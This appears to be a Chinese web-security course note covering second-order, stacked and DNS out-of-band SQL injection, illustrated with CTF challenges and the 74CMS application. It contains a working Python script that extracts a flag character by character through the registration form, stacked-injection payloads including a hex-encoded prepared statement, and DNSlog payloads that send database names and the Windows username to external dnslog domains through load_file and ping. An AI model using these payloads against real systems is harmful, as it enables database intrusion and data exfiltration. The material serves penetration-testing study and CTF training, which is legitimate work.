小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库 Dnslog 注入

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS 注入:在注入上没太大利用价值,其他还行

#二次注入-74CMS&网鼎杯 2018Unfinish

比如:找回密码功能:

得到你的用户名(你找回谁的密码)

进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

接受获取你的用户名,修改密码update

但如果在注册用户名时,写了一个SQL注入的语句

则当进行修改密码时,会对用户名进行调用

即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

CTF-网鼎杯 2018Unfinish-黑盒

先进入register.php页面

通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

分析:

注册用户:添加insert

Insert into user(email,username,password) value('3178151661245@qq.com','AT','123456')

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email='31781511245@qq.com'

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

我们这里使用.py进行制造payload

import requests

from bs4 import BeautifulSoup

import time

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

m = ''

for i in range(100):

payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)

register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

req = requests.session()

r1 = req.post(url+'register.php',data = register)

r2 = req.post(url+'login.php', data = login)

r3 = req.post(url+'index.php')

html = r3.text

soup = BeautifulSoup(html,'html.parser')

UserName = soup.span.string.strip()

if int(UserName) == 0:

break

m += chr(int(UserName))

print(m)

time.sleep(1)

CMS-74CMS 个人会员中心-黑白盒

黑盒:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user#)

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

抓学校地址该网页的包,并进行查看其相关函数 make4_save

发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置

对其SQL语句进行监听

#堆叠注入-数据库类型&强网杯 2019 随便注

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531

3460;prepare execsql from @a;execute execsql;

#DNS 利用-平台介绍&SQL 注入&命令执行等

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

基本只针对于MYSQL------load_file

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL 注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select

database()),'.69knl9.dnslog.cn/abc')))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

接受的主机的username

相关推荐
Bruce_Liuxiaowei10 小时前
轻量级 IOC 管理方案:Streamlit 驱动的恶意IP情报平台
网络·jvm·网络协议·tcp/ip·安全
数字新视界10 小时前
用电安全管理系统解决方案
物联网·安全·电力监控系统·用电安全·大榕树
数据知道13 小时前
容器安全入门:Docker 逃逸原理与 5 个经典 CVE
安全·网络安全·docker·容器
JonLee202014 小时前
适配 Yii 3.0,php-casbin/yii-permission 3.0 正式发布
安全·php·rbac·yii·权限·casbin
xqqxqxxq14 小时前
DQL 数据查询 select
sql
花青泽14 小时前
5-数据库-SQL注入-联合查询-AND/OR绕过-day13
数据库·sql
Csvn15 小时前
📊 SQL 入门 Day 11:CASE 表达式:SQL 里的 if-else 魔法
后端·sql
广州智造15 小时前
HyperWorks 被动安全仿真之被动安全建模
人工智能·算法·安全·altair·cae软件·hypermesh·hyperworks
MartinYeung516 小时前
[论文学习]PACT:溯源感知能力合约——面向智能体安全的参数级溯源
人工智能·学习·安全